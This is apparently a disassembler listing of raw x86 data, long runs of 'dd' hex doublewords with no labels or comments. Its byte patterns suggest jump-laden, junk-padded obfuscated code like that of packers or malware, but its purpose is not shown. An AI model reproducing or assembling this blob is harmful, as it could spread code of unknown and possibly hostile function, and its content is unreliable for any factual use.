		dd 4FF4259Ch, 0B5F2368h, 562C8B1Fh, 7E9F18Bh, 0AC000000h
		dd 2320BB1Eh, 0C0808417h, 60C68B29h, 4EBB9AB4h,	610E2266h
		dd 12E9h, 81AFE000h, 98261C99h,	0AFCD3E35h, 6BCC1014h
		dd 0F04610Fh, 860FCBB7h, 3, 66C1B70Fh, 5EBBFA8Bh, 0B26186E8h
		dd 16890F46h, 0E8000000h, 0Ch, 283321FFh, 813C2E0Ch, 2A8864E8h
		dd 4039BE66h, 0CBB70F58h, 18B0Fh, 57F80000h, 0DAD2BEBBh
		dd 8B605E72h, 616052CBh, 0BF0F615Eh, 816660FEh,	808AABD3h
		dd 0BA610BC9h, 5E3FD3C9h, 3890Fh, 8B660000h, 0F85B2F1h
		dd 800FF6B7h, 2, 8166CCB1h, 66E3EDC6h, 81CF4ABEh, 9A7CCEC2h
		dd 0D08B6632h, 0BF14B460h, 66E9567h, 0FA8B5061h, 0CE958h
		dd 235D0000h, 0B61EC182h, 22966262h, 81666A1Bh,	0FA2F1C9h
		dd 8166D2B7h, 0BB8066DFh, 7D97C583h, 94D97BBBh,	890F7Dh
		dd 60000000h, 0F616060h, 86h, 61F56100h, 4820Fh, 0BA660000h
		dd 71BE9FF7h, 0F632D08h, 38Ch, 0FAB70F00h, 8004D580h, 0F88B16CEh
		dd 0FC9B70Fh, 684h, 0CDF08100h,	0FC1F83D5h, 87E08166h
		dd 6E8C2h, 52660000h, 0EE943B79h, 28B0Fh, 0C28A0000h, 6FCF815Ah
		dd 66090D0Bh, 660135BAh, 15B8F98Bh, 0F1C697Ah, 87h, 0F18B6600h
		dd 0BF0F57F9h, 8E0F5AD6h, 0
		dd 0E49D281h, 8B66089Bh, 0F08B66F1h, 55EB0CB9h,	0B70FF97Eh
		dd 0F98B66D8h, 16830Fh,	11E90000h, 17000000h, 0D8CD1107h
		dd 273E4F9Ah, 0C024B893h, 2E08A1F0h, 953AC381h,	10E95CE5h
		dd 0AC000000h, 0D8CB2411h, 0DDF60AF8h, 246D881Dh, 0B33656A7h
		dd 0A6BA661Bh, 0EEB8F98Ah, 0B85B043Dh, 4D3CE2DDh, 64F2C7B9h
		dd 18830F38h, 0E9000000h, 13h, 6BE5E399h, 0FE77466h, 8B746AADh
		dd 60251023h, 8036E314h, 11E9DAC5h, 4E000000h, 4DDB5508h
		dd 1F927F59h, 31BF9F88h, 279F806Ah, 7E859B4h, 9A000000h
		dd 388FB541h, 6660502Eh, 810A01B8h, 0C8B543D2h,	8A5A6107h
		dd 3BBB60DCh, 0E90C0AA9h, 5, 362C6BFBh,	0B70F61E1h, 0C8F0FC6h
		dd 0F000000h, 682h, 18E68100h, 0F865F7ECh, 8B2E881h, 0FA8B6990h
		dd 66DBB70Fh, 0BDADE781h, 7E991B1h, 0E8000000h,	0D59978FFh
		dd 0FCB04743h, 14BE5650h, 5852C617h, 12E958h, 0AA890000h
		dd 7AF4CAA0h, 2A52719Fh, 33BADB4Ch, 0D4881E7Bh,	0FE8B6660h
		dd 6788CA81h, 81611FA9h, 9594F7E6h, 0DAB70F0Dh,	2870Fh
		dd 3EB70000h, 5A566053h, 61FFBF0Fh, 0C981665Bh,	5E891F6h
		dd 7A000000h, 2AA18243h, 71D68166h, 81665BA5h, 0FACC0DAh
		dd 288h, 811BB500h, 0A5FFE1CFh,	6680B74Bh, 0EE8DF8Bh, 92000000h
		dd 0C56DD19h, 0D26CFF3Ch, 0ED9E28C5h, 0F5BF5DBh, 890FD6BFh
		dd 3, 0E9F6B70Fh, 0Ah, 2990CE57h, 264CA7EAh, 810F67C8h
		dd 1, 0FE9FCh, 0D4FA0000h, 0A7831DE6h, 3CCCB3CFh, 56FFA63Fh
		dd 58F9517Eh, 68DE8166h, 58B0FF1h, 0BE000000h, 6733338Ch
		dd 0B387F381h, 0BE814F8h, 0FB000000h, 62BD21A1h, 0DA249A97h
		dd 890FD00Ah, 19h, 14E9h, 0C512B200h, 50517968h, 60E088EAh
		dd 2A49979h, 4107479Eh,	0B70F5B98h, 5E960FEh, 28000000h
		dd 0EF2559C3h, 5A616052h, 0C2BF0F61h, 14E9F9h, 92E80000h
		dd 0D8721A82h, 0CB4E6179h, 97B771EAh, 5FEDDA99h, 66FC69D5h
		dd 0B866C78Bh, 820F4358h, 4, 0E1D8B966h, 0E7A5BF66h, 51F1BF0Fh
		dd 0BE8h, 7C3C9B00h, 0AD605496h, 84E62DA5h, 8B0Fh, 5F5B0000h
		dd 0F656ABEh, 8166527Eh, 5E3B9ADAh, 6E8h, 52CEC900h, 665AFB51h
		dd 0F5EC38Bh, 88Dh, 0F0815600h,	93A87ABh, 0DF8B6659h, 0FD08B66h
		dd 386h, 0F6B70F00h, 7E9C5B0h, 0A0000000h, 1EBBDC62h, 0B70F3C48h
		dd 3820FC0h, 51000000h,	29B35BF5h, 6860Fh, 0DE810000h
		dd 6FA7580Bh, 64D78166h, 13E860ABh, 0E4000000h,	395576D0h
		dd 0DD8B7E23h, 42176140h, 0ED86A146h, 0B70F8153h, 0F5615BD1h
		dd 0BE80C181h, 0BB662F6Fh, 820F624Eh, 2, 12E8DE8Ah, 0E4000000h
		dd 0A8B22DB9h, 0F0F4D807h, 3F8968B5h, 80E0E82Dh, 59CA8B75h
		dd 86B5CF81h, 8B0F5577h, 4, 2286BB66h, 0E872EC80h, 11h
		dd 3E56BFCEh, 0F9581BE8h, 94919A12h, 96978E7Ch,	0B860F0Dh
		dd 0E8000000h, 5, 79425039h, 0F5F58CBh,	8B66C0BFh, 0F98B66D8h
		dd 0FC875CBEh, 0FE931h,	3E300000h, 7B8F0E82h, 7E7FC7Ah
		dd 4B0675A1h, 99D2815Dh, 663ECF1Eh, 50E34AB8h, 5ECF8B66h
		dd 0C3B70F60h, 10E861FCh, 8E000000h, 0E4EB7584h, 73BE425Fh
		dd 0E48D7414h, 603D5389h, 10E9h, 0B4C7A700h, 0A255890Eh
		dd 0F7A4EC67h, 0F2DD9D39h, 0F28B6600h, 8E0F5861h, 0Dh
		dd 8E9h, 0E66E0E00h, 720D4DC7h,	2FBF6621h, 63B96667h, 0B2BB66B4h
		dd 73D78068h, 0DAB70F51h, 97BB6659h, 0D3B70F1Bh, 0FE860h
		dd 16AC0000h, 40EF6AB6h, 0A1BE8043h, 0C0CB2C0Eh, 0C3BF0F51h
		dd 84BE665Ah, 7BB861DFh, 0BA393C76h, 1F386288h,	8E857h
		dd 0EDB60000h, 47017783h, 810F3530h, 0
		dd 59575B5Ah, 8E0FFCh, 60000000h, 0E881EC80h, 8, 0AA59DEF7h
		dd 39BC6D50h, 5ACF8B66h, 0C9EA8161h, 0F9289DEDh, 0DE9h
		dd 0F734DF00h, 310934C9h, 9E7BB38Ch, 0BFF86C5Eh, 48764630h
		dd 5059F850h, 66593EB3h, 0FF5C28Bh, 288h, 60FE8B00h, 5F56FE8Bh
		dd 0ADC08161h, 0F244AF9h, 0E8Ah, 9E900h, 0B1E80000h, 4DD3F28Eh
		dd 53726641h, 6E9h, 64368900h, 5AB8F90Eh, 12E9h, 0A572C900h
		dd 823AC63Ch, 0AF39C932h, 1DAB0340h, 66FB0EF6h,	0BE4E1FBEh
		dd 400B866Fh, 0E2816660h, 8B66AE85h, 860F61D3h,	0
		dd 58C0Fh, 81660000h, 81509AE0h, 4EEDD1E0h, 5AF85148h
		dd 0CA8166F5h, 0DF804085h, 0C8B70F9Bh, 12E952h,	643D0000h
		dd 2BA2718Fh, 0E8925E6Ch, 0CCB0665Fh, 5DE26A0Bh, 0D38B605Eh
		dd 2C56D981h, 81617B1Bh, 136B79CAh, 0FB8B6602h,	6E9DDB4h
		dd 0A1000000h, 0B8EE6A7Fh, 60BE60F9h, 0F96A3C99h, 0D850F61h
		dd 0E9000000h, 8, 2A78DA42h, 0D34B4CBAh, 66567DB1h, 0A253F181h
		dd 13E95Fh, 43130000h, 2391E3A5h, 0DF005316h, 0AF57CC1Ch
		dd 0FD7FAA9Eh, 0E9FD8AD9h, 10h,	0D357D0h, 7A594E5Fh, 0D3C22402h
		dd 2A0018DDh, 66D38B66h, 0D68BCA8Bh, 1830Fh, 60F90000h
		dd 0DE9h, 32FAD000h, 39585B51h,	7CF7F148h, 1BB78703h, 0D88B6661h
		dd 13E9h, 0AD009100h, 370BB745h, 0CDF5F7B0h, 0D10757F4h
		dd 7F933C80h, 6711C181h, 0F514F53h, 6659C6BFh, 4B3CD681h
		dd 0BFF88B66h, 649CEFCFh, 8D0FF28Bh, 15h, 0F860Fh, 0AE90000h
		dd 0FF000000h, 57D6B92Fh, 3B1CFC89h, 20DCBB29h,	11E908E1h
		dd 86000000h, 0AC888682h, 52735C8Ch, 5118F04h, 0E538EC5Bh
		dd 0FF08B66h, 0C8Eh, 68D0F00h, 0F000000h, 86h, 0C7816600h
		dd 0F28B13C2h, 8166FC60h, 61D7D8C1h, 7054D981h,	0EB815EB7h
		dd 0A7E40D2h, 10E8h, 0D878D800h, 0EA2164DFh, 3A15C0EFh
		dd 0F666CD7Fh, 5AD98B21h, 0D6816660h, 0C2813519h, 17055EDh
		dd 0F3816661h, 0B1606CC6h, 0DE96127h, 49000000h, 0D028A7D6h
		dd 9D4704CAh, 0FE03E50Bh, 66C18B66h, 850FCE8Bh,	5, 0BDF78166h
		dd 0D88B66AEh, 3A20BA66h, 0E9DEBF0Fh, 10h, 0AC4F7875h
		dd 0A270ED65h, 45E97BB4h, 8E3C2D0Bh, 85D08166h,	0F338BE38h
		dd 0E9603FB8h, 11h, 44C48616h, 30C064A0h, 0F2C464D4h, 2C10B401h
		dd 0AE965h, 5FA0000h, 64444836h, 66B6BA34h, 14E961h, 0B87A0000h
		dd 58208AA5h, 37918F84h, 97424EE6h, 760CD07Ah, 60F991A9h
		dd 70B247B0h, 0B9665161h, 0F59F972h, 148Dh, 0C7806000h
		dd 0AE93Ch, 819D0000h, 43C30A7Fh, 212C4C95h, 13E961h, 47E10000h
		dd 0B4A933D0h, 0A6017478h, 4C2C0919h, 70582CB5h, 0FFBF0FE7h
		dd 0DE8B6660h, 8C0F61F5h, 2, 0BF0FF28Bh, 1EE5BED0h, 0CB80370Fh
		dd 5501BF5Ah, 8B667FCDh, 0CA8B66C1h, 8166CB8Bh,	66A673F2h
		dd 0E8C2F3B8h, 7, 3FA9AC53h, 80E25C0Dh,	0BB5F00EFh, 47B23D31h
		dd 93E68166h, 10E925h, 93730000h, 38BD47E4h, 0F67A356Ch
		dd 691B77CDh, 0F514A6Bh, 6058FABFh, 0E9F98B66h,	7, 5C5053E6h
		dd 6139BF57h, 840F83B1h, 8, 2890Fh, 83B60000h, 3810Fh
		dd 0BF0F0000h, 0D6F080C9h, 6650FA8Bh, 0BF5FFA8Bh, 1DD6B4AEh
		dd 5880Fh, 81660000h, 0E968B0C9h, 5, 95AF3477h,	0D8BF0F90h
		dd 0DF8166F5h, 9E86E38h, 0F4000000h, 29F058ACh,	6CC3CD0Ah
		dd 5AF6BF0Fh, 14E8h, 0F906C300h, 7DC40500h, 83BB8F4Eh
		dd 38AAF125h, 779FD083h, 10E87Dh, 5FBC0000h, 0AFBF1DEAh
		dd 0F73941B6h, 0E4FEB4h, 0D781E806h, 30D65B62h,	0B70F5E58h
		dd 2EE681D0h, 0BA05308Bh, 16E66F9Bh, 8E9h, 0C9308B00h
		dd 0F02D774Fh, 0D9B70F94h, 4A2CCA81h, 0F18B2F98h, 5880Fh
		dd 0F510000h, 515FCEB7h, 0A8F1C181h, 0F55E2CA7h, 0EE9h
		dd 0AF730700h, 19D9DD1Ah, 9DAF6C8Ah, 0F55A4223h, 0DBE66F8h
		dd 7780BE50h, 0B46036E0h, 0CE9C9h, 0BF870000h, 1105A769h
		dd 0A7D144A3h, 0F61D8BDh, 0CF81F9B7h, 7AF8ED6Ah, 0B3EEBE66h
		dd 10E8h, 2305E900h, 861CF9EAh,	0E0235BF2h, 0FE8D1635h
		dd 58CF8B83h, 14E9h, 97776900h,	9E8BC159h, 83B2B66Eh, 0CEE89B92h
		dd 91BDB643h, 6ABA6675h, 0B6BA66F6h, 8B60FCCEh,	820F51FBh
		dd 0
		dd 8C0F6158h, 0
		dd 0FC8A46B1h, 0CE9h, 987A8F00h, 27B8DC59h, 3BCFBF7Dh
		dd 0E9FA8B92h, 9, 1E04038Bh, 0A9B7C3h, 0D0B70F55h, 6660F38Bh
		dd 0B866C38Bh, 60611CEFh, 579EF380h, 840Fh, 615F0000h
		dd 12E9EE8Ah, 83000000h, 2AB22767h, 0BDB7E72Ch,	0FAE3B8A8h
		dd 1DD30243h, 0C081666Eh, 8B0F7EFBh, 2,	0C78199B7h, 5A5EC7A1h
		dd 11E9h, 60549600h, 0E62DA5ADh, 0FF430D84h, 18AF816Dh
		dd 0DA817142h, 5EDCDB32h, 0F4B6BB66h, 0A09EBF60h, 0D2815248h
		dd 4BEB5CBDh, 0BE961h, 5F10000h, 360A387Bh, 0F761A067h
		dd 80C88A6Ch, 0B36040EDh, 0D4D980E6h, 0DA816661h, 0F98B0A13h
		dd 7E9h, 0DC1A8C00h, 89407533h,	3800Fh,	0C8800000h, 0C2B70FB4h
		dd 0AE9h, 98652900h, 0FD50DA2Ah, 53316CB4h, 0AE8h, 0A7CBA100h
		dd 651C4647h, 6688801Dh, 588E92BFh, 0C8BF665Fh,	8830FF4h
		dd 52000000h, 810Fh, 8B590000h,	0C890FD9h, 0F000000h, 68Eh
		dd 8D0F00h, 0F000000h, 0BE8D3BFh, 0BD000000h, 0E1AF641h
		dd 1A14C917h, 0E951C6D4h, 7, 0CA225F04h, 5BB322FEh, 8A60605Eh
		dd 8B6661E6h, 80B861F7h, 0BF109001h, 13B35620h,	0CE8h
		dd 3E3EB400h, 0B352D000h, 9FE8D2E1h, 0BA10BADFh, 0F5F2AC3h
		dd 0B966D1B7h, 8B663DD8h, 0DA8B66D9h, 0AE951h, 0AE570000h
		dd 5BD27244h, 5C56AD43h, 9D07BF58h, 0E88134F8h,	757BEDBh
		dd 2820Fh, 0F08B0000h, 3880Fh, 0DC800000h, 0E9605704h
		dd 10h,	0F8B500C9h, 0ADA26B41h,	3ECE3D1Fh, 3101B990h, 61F28B66h
		dd 6E86058h, 0C000000h,	9F163741h, 0F958F97Dh, 8E861h
		dd 6D830000h, 4C73D6BDh, 0B966A332h, 605FFCC7h,	11E8h
		dd 4CC5BE00h, 843171FCh, 1F1774D6h, 0A2BFFA27h,	0F5A83B9h
		dd 287h, 61616000h, 0DE8h, 0A6017400h, 4C2C0919h, 70582CB5h
		dd 0F5FFBE7h, 28Bh, 0E9D38B00h,	12h, 5358A516h,	0DFC278C2h
		dd 0FCC8E56Eh, 7354D72Dh, 0F60174Ah, 5761DEB7h,	9AD18166h
		dd 0D88B59E1h, 0BE9h, 0D97C3500h, 6C47ADDAh, 0D33BBEBAh
		dd 0DE8B66F5h, 2008EA81h, 8B0F5A4Ah, 0Ch, 68F0Fh, 0DB810000h
		dd 25CA571Eh, 10BFB966h, 8B66FB8Bh, 10E9C2h, 9C6B0000h
		dd 4477D0CBh, 76A614B5h, 9DB26053h, 8A577548h, 816658EBh
		dd 81E031D8h, 0EC8535F6h, 0D0816651h, 0F081F82Eh, 98ED58Ch
		dd 0FE9C7B0h, 8E000000h, 0B1EFC155h, 895680EBh,	1638278Dh
		dd 8166EACAh, 0FB80BE3h, 6660DBBFh, 0E1AC081h, 9E9h, 0E70E2A00h
		dd 0D82BDEB9h, 0FC613FD8h, 0E9F1BF0Fh, 0Ah, 0BE31ABB7h
		dd 53547760h, 8B565DDEh, 0DFB958C7h, 8A57E82Eh,	0D08B66DDh
		dd 0C1102BBEh, 14E93Ah,	0BA310000h, 5DD7AC01h, 0D3FF49E3h
		dd 3C68768h, 0F2171111h, 0AE95342h, 1000000h, 0D8AFC115h
		dd 83E2888Ch, 3840FC2h,	0F000000h, 0B8FCF1BFh, 583863E0h
		dd 0DE915B4h, 0C4000000h, 2AB86936h, 0E652F57Ah, 3C84E733h
		dd 14E8h, 9B350F00h, 0B004CD05h, 60EA781Ah, 0B975A2E3h
		dd 3D92C5BCh, 5A566083h, 0B222D081h, 5B614893h,	8BD78BF5h
		dd 11E8D6h, 0EEBA0000h,	3E3F8488h, 23FD3917h, 1A610D62h
		dd 0F57A801Fh, 8F0F575Ah, 0
		dd 20850F5Ah, 0F000000h, 1A82h,	14E800h, 0BFB00000h, 7A0B3CD8h
		dd 0C0D249ECh, 120AACDEh, 3662C28Dh, 665AB38Fh,	7493D081h
		dd 7E8h, 3F8FF200h, 0BCC13093h,	0F8D172B9h, 8E0F5F5Fh
		dd 5, 86BE94BBh, 0B8A0F13h, 0F000000h, 58Eh, 0F2816600h
		dd 8F0FD319h, 3, 0BEC6B70Fh, 359F920Fh,	0FFBBF0Fh, 0B70FDFB7h
		dd 0F5C781D0h, 801A783Bh, 0BF0F70DBh, 0FFB866F6h, 8166FC6Eh
		dd 56CD3FD3h, 81595E52h, 866CA0C8h, 1A810F3Eh, 0E8000000h
		dd 13h,	0E12E6BEDh, 0A933D047h,	17478B4h, 2C0919A6h, 0FC2CB54Ch
		dd 0F78AFC5Ah, 0FC7B70Fh, 87h, 563BB900h, 2DBE29FDh, 0F465958h
		dd 5956FEB7h, 48A0F60h,	66000000h, 0FB9D7BAh, 48Bh, 0BBB6600h
		dd 8E0F618Dh, 0
		dd 2840Fh, 0D68B0000h, 60D9BF0Fh, 61616060h, 0B6F08B61h
		dd 0F87FB54Fh, 0F60A6B6h, 0C78BFEBFh, 0EE961h, 3FD40000h
		dd 0CB93A8CEh, 0C5A2D3F9h, 5B07F1F8h, 0BE9FCh, 5CB10000h
		dd 0BBC015E6h, 7CC47EF2h, 5850FDEh, 66000000h, 7211EB81h
		dd 5810Fh, 8BBE0000h, 60600326h, 0AE8h,	225FA00h, 8A6D3ED5h
		dd 0F80AFA78h, 61C88B5Eh, 33C28166h, 0D6F681EAh, 0FC4A4C02h
		dd 58D0Fh, 0C7BE0000h, 0F7A0CB8h, 88h, 0BE900h,	0A31D0000h
		dd 0AA8D8AF0h, 0E4CD65CCh, 0D0B70FC9h, 8E9h, 0D5191A00h
		dd 741AB4C3h, 0E96AB57Bh, 6, 35CC5A57h,	0DE81225Ah, 4F8A0463h
		dd 0CDD88166h, 0FE858h,	8E580000h, 16CFE49Bh, 0F7DDC067h
		dd 4FC513F8h, 9E9B3h, 33DD0000h, 80247884h, 5AD18789h
		dd 0FE8h, 0A9C33800h, 7C3F52A4h, 9FBB0B8Bh, 30526748h
		dd 0D733EDBFh, 0D9805E16h, 0F1BF0FE3h, 14E8h, 81D38600h
		dd 3671BBD5h, 0F013751Ch, 8DDFF79Ah, 5BE270ADh,	8B5059B3h
		dd 14E95FCBh, 3000000h,	381FC238h, 0EEB5465Eh, 0A5FC8091h
		dd 523CB1C6h, 528C4B47h, 14E9h,	0AF816D00h, 9F714218h
		dd 0CF3F5BEEh, 2182C3BBh, 413ACF58h, 81665B55h,	0F1E91C6h
		dd 86h,	6870F00h, 0F000000h, 8Fh, 0FEAB100h, 58Bh, 7BC5BB00h
		dd 8B661509h, 14E9F5C8h, 9000000h, 9237AD0Ah, 9A689087h
		dd 34913AFFh, 0E7A637D1h, 0E9866181h, 6, 1EF13134h, 816628A6h
		dd 0F9A41F7h, 1B8Fh, 12E800h, 77620000h, 0D16B0EE6h, 0D95A723Ch
		dd 648B5758h, 8DA0A30Dh, 5FC1B70Fh, 3CEA8166h, 3830FA7h
		dd 66000000h, 8166F28Bh, 8B6D79D7h, 0C38B60F0h,	810F60h
		dd 8A000000h, 806161FEh, 0C28B8CD8h, 58C0Fh, 0BABB0000h
		dd 663F3748h, 66F9DA8Bh, 606520B9h, 0B8EAE480h,	5EC83764h
		dd 66D08B61h, 8C0FC68Bh, 6, 870Fh, 0F98B0000h, 0DA8BB5B3h
		dd 6672B1F8h, 0F9C6FB8h, 80h, 0FE800h, 0DE620000h, 0ACFA62DEh
		dd 22F2B766h, 0A5ED581Fh, 0BABF666Dh, 14E85A02h, 3000000h
		dd 762ABC28h, 41BFEF6Fh, 505A3E0h, 0E9707A37h, 0E901FCFCh
		dd 9, 66B6BA34h, 222E5AE9h, 81665B03h, 8A0012DEh, 11E8F1h
		dd 11040000h, 0E33547ACh, 0BEA2E2E1h, 18076853h, 0F215A2Ah
		dd 488h, 7ABA6600h, 0BF0F586Ah,	60E1B0CFh, 0E991D880h
		dd 14h,	3D8A00B8h, 0D3BE224Bh, 226BC139h, 0D4D8679Eh, 0E2E03A0Ch
		dd 0E9CA8B61h, 0Eh, 7E3A8A17h, 18F2C55Ch, 8A00B82Fh, 0F514B3Dh
		dd 68Fh, 8C0F00h, 5F000000h, 8880Fh, 81530000h,	0B50DEBE0h
		dd 0BE665E75h, 0BF66AF80h, 6E97BCFh, 0C6000000h, 0C1BAF195h
		dd 7CC881E6h, 606D7346h, 0E85ECE80h, 8,	0BB35AF54h, 9B8C9911h
		dd 0AE9h, 0BE1BD600h, 8501FAAh,	5BF10737h, 11E861h, 0B9220000h
		dd 0C2077203h, 27A0FDA4h, 1C45B055h, 0F599F12h,	48Ah, 14BF6600h
		dd 0F6058F6h, 28Ch, 61D78A00h, 0B3C38166h, 56B966CAh, 0D48A6073h
		dd 2830Fh, 61600000h, 26E18061h, 0BFE0DE80h, 2989E93Fh
		dd 1FC5A1BFh, 3810F5Dh,	80000000h, 60F833EAh, 3E9BB866h
		dd 5E5361F8h, 89DB8166h, 5A5EBB31h, 13E933B6h, 0F2000000h
		dd 5F7AB4E3h, 7FA31218h, 0C22EBAFCh, 0A4880E05h, 0E68A2F03h
		dd 0E9F88B66h, 12h, 0A3C06D0Ch,	9796D125h, 55BA6D6Eh, 0D3FCE655h
		dd 57F59C57h, 0EE95Bh, 8600000h, 6F27BAA7h, 0EAD87DD6h
		dd 9ADE86C0h, 7DCFB2BEh, 20BAF512h, 0E9515024h,	0Eh, 5DE451A5h
		dd 7C37F762h, 8314DC3h,	0E96064DEh, 9, 182B9E3Eh, 16E7650Eh
		dd 6E9610Fh, 0D0000000h, 0F992C93Dh, 0DF8B6634h, 0F8BF0F53h
		dd 9890F59h, 0F000000h,	381h, 93C98000h, 0B966F98Bh, 0F2813596h
		dd 65EA16ADh, 62AFDB81h, 0F8601974h, 96DA8166h,	91B961C7h
		dd 607DE36Ah, 0AB20E781h, 60616098h, 0DD8019B0h, 0B966619Ch
		dd 8C0F5E97h, 4, 0C2CDB866h, 7860Fh, 800F0000h,	1, 0C0BA60F5h
		dd 0F93CCF52h, 0E856B461h, 0Dh,	0D9C992F9h, 9FFCD22Dh
		dd 6D2B2983h, 14E935h, 0C4980000h, 0EB7C1F66h, 0BDAECEADh
		dd 0C7874F59h, 0B7D9A354h, 0BE5857EFh, 37D15EAFh, 14E8h
		dd 1C8CEC00h, 0F6500DEBh, 8384CC9Bh, 8C1043Ch, 0ABE523CEh
		dd 0BF66608Fh, 5B61D85Ah, 8AB1E4B1h, 8B66C88Bh,	93BEF5F7h
		dd 66130BC0h, 5E8F18Bh,	0A5000000h, 0B5E78AC2h,	6890Fh
		dd 8E0F0000h, 0
		dd 0CFC3815Ah, 0FC1FC8ABh, 8BC18B66h, 3DBF66DFh, 0EE9E5h
		dd 93050000h, 476E1196h, 1DEDC057h, 2EDE7298h, 0BE8h, 93DB1300h
		dd 106ED0ECh, 94DAB6C6h, 5FD1BF0Fh, 0D68BC981h,	81664695h
		dd 0B5DB08EBh, 0CCEE80A7h, 0BA665857h, 0E957EE4Eh, 12h
		dd 4133086Ch, 3684110Ch, 34D50029h, 9752ECF5h, 6058034Ah
		dd 0D187D8BEh, 12810F13h, 0E9000000h, 0Dh, 0C174B843h
		dd 0FA300698h, 38CA8C92h, 8B6661A3h, 0A6DF81FEh, 0F71C2E4h
		dd 158Eh, 10E900h, 1BB00000h, 51A42680h, 1BFA4BD5h, 9EDEA242h
		dd 0F381554Bh, 5D4F1C71h, 3BF3C681h, 81662F5Eh,	0F959FEAh
		dd 1588h, 0DE800h, 0F51D0000h, 2A877C5Bh, 0BFF7FA2Fh, 52CD4019h
		dd 8F0F5B58h, 4, 5FF18B52h, 840F56h, 58000000h,	0D702E881h
		dd 81662EB2h, 662852D7h, 9654D181h, 0BB01B4B9h,	0B8BB6610h
		dd 7E9FEh, 23330000h, 0C31A7D78h, 0FC68B53h, 0A80h, 48D0F00h
		dd 66000000h, 663F03BFh, 0AE9F88Bh, 81000000h, 0C7532B07h
		dd 4DA32890h, 0DBE98191h, 0F7AC721h, 387h, 0D0B70F00h
		dd 0B1BBB66h, 0F820Fh, 0E9500000h, 8, 0ADEF0D78h, 0DC014Ah
		dd 0BE66F85Bh, 850FF3B0h, 0Dh, 8E9h, 0FB025B00h, 1064F0DDh
		dd 5840FBCh, 66000000h,	0BA96F381h, 0CF00BE66h,	0DE8h
		dd 0DE740F00h, 8847C9B8h, 35627B57h, 850F6710h,	5, 79E28166h
		dd 0E88A5912h, 0ACE68166h, 14E9F88Ah, 0C2000000h, 33EEA76Ch
		dd 69E33EFh, 5B1DAE6Eh,	0ED597BC4h, 53903A1Ch, 81E1BCBEh
		dd 0E0815A49h, 50543AC9h, 8166FDB7h, 664B3DD1h,	8B611DBFh
		dd 12800FC8h, 0E9000000h, 0Dh, 969294DFh, 0DF1AA112h, 0A5E26236h
		dd 8166602Ch, 664F28EFh, 8161C68Bh, 0C01BDBC2h,	14E863h
		dd 0E8F60000h, 18FE8083h, 20C2EB6Bh, 0DB1B960h,	0DE9D32Eh
		dd 665743D6h, 5F167EBAh, 0D18B665Eh, 58D0Fh, 0E1B80000h
		dd 0E9257364h, 13h, 32D5AED6h, 0B86B47B2h, 0F90F93CCh
		dd 0DC3BC8Fh, 66F14298h, 675CCF81h, 81CAB70Fh, 0D3DDB5C0h
		dd 6E813h, 0DCAD0000h, 0A330454Ch, 5B61F860h, 447B61BAh
		dd 1B8C0F4Ah, 0E8000000h, 0Fh, 0DEFAE468h, 9D50BA26h, 0F685232Eh
		dd 81B1A486h, 872BBFEEh, 0ED805928h, 3870FE3h, 66000000h
		dd 860FCF8Bh, 6, 8529F681h, 66604E78h, 0E92656BAh, 5, 0EA9F4D99h
		dd 8B6661DDh, 60F960CFh, 6161AAB4h, 13E9h, 0EBBF7900h
		dd 57223AE6h, 0EDABF335h, 898E9666h, 19CBF3D5h,	66FFBF0Fh
		dd 3864DF81h, 5E9h, 0F9A7DD00h,	0E8563E37h, 10h, 6DE361D4h
		dd 9240181Dh, 516132EAh, 99616A28h, 0DE8h, 5F76DA00h, 84DFB8A4h
		dd 5657BD74h, 5E5A0966h, 14BB605Eh, 602A745Ch, 6161C68Bh
		dd 60F3BF0Fh, 3C2FC881h, 840F07F4h, 0Bh, 6E9h, 5CAD2100h
		dd 6132F482h, 0F78E281h, 0BF0F1A2Dh, 0E9DA8BC9h, 9, 6BF660B7h
		dd 0ECAB6419h, 0FF18AA8h, 681h,	860F00h, 0FC000000h, 0FDA8B66h
		dd 8166C2BFh, 0F3E5CF3h, 38Ah, 0DF8B6600h, 66D18B66h, 61CBF281h
		dd 1FCA8166h, 0F7E0816Dh, 66424164h, 66C0C6BAh,	6367D081h
		dd 0CE8F8F9h, 0A6000000h, 41DF9BF7h, 4F64FD00h,	5A6D2CD8h
		dd 10E8h, 1231B700h, 0C0219A82h, 9F494357h, 1D3C4A76h
		dd 815BF511h, 0D73BDFC2h, 14E9F852h, 5000000h, 70449479h
		dd 13E31FB3h, 87B5C906h, 31AD340Dh, 6640F4E8h, 66085FB8h
		dd 8B1A0EBBh, 1E680DAh,	93CDC781h, 8F0F27B7h, 3, 0FF28B66h
		dd 8166FBBFh, 0FB87EE8h, 0B88h,	5860F00h, 66000000h, 4CC9EA81h
		dd 12E9h, 28C46A00h, 7A437267h,	0FF9E2AF4h, 0F176641Eh
		dd 0F425A55h, 985h, 0FF86000h, 80h, 0BF0F6100h,	0FB8B66F6h
		dd 0FA8B60F9h, 8BA61F8h, 6626B8A2h, 0DFEEB81h, 850Fh, 9BBE0000h
		dd 0F4DF97Eh, 68Eh, 2FDA8100h, 0F5586B6Ah, 11E9h, 3B41A800h
		dd 7AFA481Ch, 6FA38225h, 7595E2B2h, 12B5CD92h, 593DB350h
		dd 60D08166h, 0AF0CB8FAh, 57B244B3h, 1090BB66h,	734B83BFh
		dd 0F4C38075h, 8E9h, 0B80C1200h, 11496DF7h, 0F38B66BFh
		dd 0E3816650h, 0E95FCAA1h, 10h,	0D3C5DF3Fh, 0EA5EF4CEh
		dd 62DB9416h, 0C9E21ED5h, 13E9C68Bh, 76000000h,	7306ED4Bh
		dd 9DEC2EFCh, 0E97F3612h, 11FC6C31h, 0D98157D4h, 3F67E738h
		dd 8B66FC60h, 0BA6661C6h, 8C0F365Ch, 0Bh, 5850Fh, 81660000h
		dd 0E91948F6h, 14h, 733146D2h, 8FC55391h, 0FEE006C8h, 0D9FB8E78h
		dd 3293215Fh, 0E9FB8B66h, 11h, 9A5EA4F5h, 6F578C15h, 93DB1386h
		dd 106ED0ECh, 0FE9C6h, 600A0000h, 0FAA4D1C3h, 545A0F9Eh
		dd 0CC6565B4h, 37B866AEh, 10E9FC04h, 21000000h,	606DACF7h
		dd 78755BCCh, 0ED65AC4Fh, 0FB4A270h, 5E8C3B7h, 0A1000000h
		dd 973798C8h, 5BCFB70Fh, 8B6657B1h, 0B966FCCFh,	0BF0FD7E2h
		dd 0D98B66D2h, 0FCA8B66h, 1B86h, 158D0F00h, 0E9000000h
		dd 10h,	6BAE54A4h, 65897E31h, 0E544438h, 4D13A069h, 0AE853h
		dd 6ED30000h, 906BFF51h, 2F5DEBCCh, 820Fh, 5F5B0000h, 0E9CA8B66h
